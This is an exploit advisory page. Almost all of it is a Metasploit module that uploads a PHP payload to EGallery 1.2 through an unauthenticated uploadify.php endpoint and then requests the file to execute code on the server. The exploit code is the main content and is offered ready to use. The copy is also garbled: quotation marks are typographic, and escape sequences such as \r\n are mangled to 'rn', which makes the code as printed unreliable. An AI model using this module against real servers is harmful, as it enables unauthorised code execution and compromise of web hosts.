EGallery PHP File Upload Exploit

Summary

EGallery PHP suffers from file upload vulnerability.

Credit:

Details

Vulnerable Systems:
 * EGallery PHP

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
‘Name’ => ‘EGallery PHP File Upload Vulnerability’,
‘Description’ => %q{
This module exploits a vulnerability found in EGallery 1.2 By abusing the
uploadify.php file, a malicious user can upload a file to the egallery/ directory
without any authentication, which results in arbitrary code execution. The module
has been tested successfully on Ubuntu 10.04.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Sammy FORGIT’, # Discovery, PoC
‘juan’ # Metasploit module
],
‘References’ =>
[
[‘OSVDB’, ‘83891’],
[‘BID’, ‘54464’],
[‘URL’, ‘http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html’]
],
‘Payload’ =>
{
‘BadChars’ => ‘x00’
},
‘DefaultOptions’ =>
{
‘ExitFunction’ => ‘none’
},
‘Platform’ => [‘php’],
‘Arch’ => ARCH_PHP,
‘Targets’ =>
[
[‘EGallery 1.2’, {}]
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Jul 08 2012’,
‘DefaultTarget’ => 0))

register_options(
[
OptString.new(‘TARGETURI’, [true, ‘The base path to EGallery’, ‘/sample’])
], self.class)
end

def check
uri = target_uri.path
uri << ‘/’ if uri[-1,1] != ‘/’

res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => ‘#{uri}egallery/uploadify.php’
})

if res and res.code == 200 and res.body.empty?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << ‘/’ if uri[-1,1] != ‘/’

peer = ‘#{rhost}:#{rport}’
payload_name = rand_text_alpha(rand(10) + 5) + ‘.php’
boundary = Rex::Text.rand_text_hex(7)

post_data = ‘–#{boundary}rn’
post_data << ‘Content-Disposition: form-data; name=’Filename’rnrn’
post_data << ‘#{payload_name}rn’
post_data << ‘–#{boundary}rn’
post_data << ‘Content-Disposition: form-data; name=’folder’rnrn’
post_data << ‘#{uri}rn’
post_data << ‘–#{boundary}rn’
post_data << ‘Content-Disposition: form-data; name=’Filedata’; filename=’#{payload_name}’rnrn’
post_data << ‘<?php ‘
post_data << payload.encoded
post_data << ‘ ?>rn’
post_data << ‘–#{boundary}–rn’

print_status(‘#{peer} – Sending PHP payload (#{payload_name})’)
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => ‘#{uri}egallery/uploadify.php’,
‘ctype’ => ‘multipart/form-data; boundary=#{boundary}’,
‘data’ => post_data
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /#{payload_name}/
print_error(‘#{peer} – File wasn’t uploaded, aborting!’)
return
end

print_status(‘#{peer} – Executing PHP payload (#{payload_name})’)
# Execute our payload
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => ‘#{uri}#{payload_name}’
})

# If we don’t get a 200 when we request our malicious payload, we suspect
# we don’t have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_status(‘#{peer} – Server returned #{res.code.to_s}’)
end
end

end

Disclosure Timeline:
Published: 2012-07-23

Categories: Exploits